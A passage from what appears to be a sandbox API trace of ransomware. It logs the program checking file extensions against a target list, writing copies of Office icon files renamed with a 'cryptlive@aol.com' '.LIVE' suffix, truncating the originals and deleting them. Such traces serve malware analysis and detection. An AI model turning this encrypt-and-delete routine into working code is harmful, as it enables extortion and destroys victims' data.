(lpString=".xlsx") returned 5 [0159.409] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.409] lstrlenW (lpString=".ppt") returned 4 [0159.409] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString=".zip") returned 4 [0159.409] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.409] lstrlenW (lpString=".rar") returned 4 [0159.409] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.409] lstrlenW (lpString=".bz2") returned 4 [0159.409] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.409] lstrlenW (lpString=".7z") returned 3 [0159.409] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString=".dbf") returned 4 [0159.409] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString=".1cd") returned 4 [0159.409] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.409] lstrlenW (lpString=".jpg") returned 4 [0159.409] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString=".doc") returned 4 [0159.410] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.410] lstrlenW (lpString=".docx") returned 5 [0159.410] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.410] lstrlenW (lpString=".pdf") returned 4 [0159.410] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString=".xls") returned 4 [0159.410] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString=".xlsx") returned 5 [0159.410] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.410] lstrlenW (lpString=".ppt") returned 4 [0159.410] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString=".zip") returned 4 [0159.410] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString=".rar") returned 4 [0159.410] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.410] lstrlenW (lpString=".bz2") returned 4 [0159.410] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.410] lstrlenW (lpString=".7z") returned 3 [0159.410] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString=".dbf") returned 4 [0159.410] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString=".1cd") returned 4 [0159.410] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTES.ICO") returned 65 [0159.410] lstrlenW (lpString=".jpg") returned 4 [0159.410] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.411] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.411] lstrlenW (lpString="REPORTS.ICO") returned 11 [0159.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0159.419] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0159.419] CloseHandle (hObject=0x3a0) returned 1 [0159.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 0x20 [0159.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.551] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.551] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0160.020] GetLastError () returned 0x0 [0160.020] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.023] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.024] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.024] WriteFile (in: hFile=0x3b8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.024] SetEndOfFile (hFile=0x3b8) returned 1 [0160.025] CloseHandle (hObject=0x3b8) returned 1 [0160.025] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.025] SetEndOfFile (hFile=0x314) returned 1 [0160.027] CloseHandle (hObject=0x314) returned 1 [0160.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 1 [0160.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.481] lstrlenW (lpString=".doc") returned 4 [0160.481] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.481] lstrlenW (lpString=".docx") returned 5 [0160.481] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.481] lstrlenW (lpString=".pdf") returned 4 [0160.481] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.481] lstrlenW (lpString=".xls") returned 4 [0160.481] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.481] lstrlenW (lpString=".xlsx") returned 5 [0160.481] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.481] lstrlenW (lpString=".ppt") returned 4 [0160.481] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.481] lstrlenW (lpString=".zip") returned 4 [0160.481] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.481] lstrlenW (lpString=".rar") returned 4 [0160.481] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString=".bz2") returned 4 [0160.482] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.482] lstrlenW (lpString=".7z") returned 3 [0160.482] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString=".dbf") returned 4 [0160.482] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString=".1cd") returned 4 [0160.482] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString=".jpg") returned 4 [0160.482] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString=".doc") returned 4 [0160.482] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.482] lstrlenW (lpString=".docx") returned 5 [0160.482] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.482] lstrlenW (lpString=".pdf") returned 4 [0160.482] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString=".xls") returned 4 [0160.482] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString=".xlsx") returned 5 [0160.482] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.482] lstrlenW (lpString=".ppt") returned 4 [0160.482] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.482] lstrlenW (lpString=".zip") returned 4 [0160.482] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString=".rar") returned 4 [0160.482] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.482] lstrlenW (lpString=".bz2") returned 4 [0160.482] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.483] lstrlenW (lpString=".7z") returned 3 [0160.483] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.483] lstrlenW (lpString=".dbf") returned 4 [0160.483] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.483] lstrlenW (lpString=".1cd") returned 4 [0160.483] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0160.483] lstrlenW (lpString=".jpg") returned 4 [0160.483] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.483] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.483] lstrlenW (lpString="SCDREQS.ICO") returned 11 [0160.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.484] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2998) returned 1 [0160.484] CloseHandle (hObject=0x384) returned 1 [0160.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 0x20 [0160.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.485] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.485] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.486] GetLastError () returned 0x0 [0160.486] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0160.488] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0160.489] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.489] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0160.489] SetEndOfFile (hFile=0x3c4) returned 1 [0160.489] CloseHandle (hObject=0x3c4) returned 1 [0160.490] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.490] SetEndOfFile (hFile=0x384) returned 1 [0160.492] CloseHandle (hObject=0x384) returned 1 [0160.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico")) returned 1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.493] lstrlenW (lpString=".doc") returned 4 [0160.493] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.493] lstrlenW (lpString=".docx") returned 5 [0160.493] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.493] lstrlenW (lpString=".pdf") returned 4 [0160.493] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.493] lstrlenW (lpString=".xls") returned 4 [0160.493] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.493] lstrlenW (lpString=".xlsx") returned 5 [0160.493] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.493] lstrlenW (lpString=".ppt") returned 4 [0160.493] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.493] lstrlenW (lpString=".zip") returned 4 [0160.494] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".rar") returned 4 [0160.494] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".bz2") returned 4 [0160.494] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.494] lstrlenW (lpString=".7z") returned 3 [0160.494] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString=".dbf") returned 4 [0160.494] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString=".1cd") returned 4 [0160.494] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString=".jpg") returned 4 [0160.494] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString=".doc") returned 4 [0160.494] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.494] lstrlenW (lpString=".docx") returned 5 [0160.494] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0160.494] lstrlenW (lpString=".pdf") returned 4 [0160.494] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".xls") returned 4 [0160.494] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".xlsx") returned 5 [0160.494] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0160.494] lstrlenW (lpString=".ppt") returned 4 [0160.494] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.494] lstrlenW (lpString=".zip") returned 4 [0160.494] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".rar") returned 4 [0160.494] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.494] lstrlenW (lpString=".bz2") returned 4 [0160.495] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.495] lstrlenW (lpString=".7z") returned 3 [0160.495] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0160.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.495] lstrlenW (lpString=".dbf") returned 4 [0160.495] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0160.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.495] lstrlenW (lpString=".1cd") returned 4 [0160.495] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0160.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO") returned 65 [0160.495] lstrlenW (lpString=".jpg") returned 4 [0160.495] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0160.495] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0160.495] lstrlenW (lpString="SCDRESNL.ICO") returned 12 [0160.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.496] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0160.496] CloseHandle (hObject=0x384) returned 1 [0160.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 0x20 [0160.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.496] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.497] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.497] GetLastError () returned 0x0 [0160.497] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0160.499] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0160.500] ReadFile (in: hFile=0x384, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.500] WriteFile (in: hFile=0x3c4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.500] SetEndOfFile (hFile=0x3c4) returned 1 [0160.500] CloseHandle (hObject=0x3c4) returned 1 [0160.501] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.501] SetEndOfFile (hFile=0x384) returned 1 [0160.503] CloseHandle (hObject=0x384) returned 1 [0160.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico")) returned 1 [0160.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.504] lstrlenW (lpString=".doc") returned 4 [0160.504] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0160.504] lstrlenW (lpString=".docx") returned 5 [0160.504] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0160.504] lstrlenW (lpString=".pdf") returned 4 [0160.504] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0160.504] lstrlenW (lpString=".xls") returned 4 [0160.504] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0160.504] lstrlenW (lpString=".xlsx") returned 5 [0160.504] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0160.504] lstrlenW (lpString=".ppt") returned 4 [0160.504] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0160.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO") returned 66 [0160.504] lstrlenW (lpString=".zip") returned 4 [0160.504] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".rar") returned 4 [0160.505] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0160.505] lstrlenW (lpString=".bz2") returned 4 [0160.505] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0160.505] lstrlenW (lpString=".7z") returned 3 [0160.505] lstrcmpiW 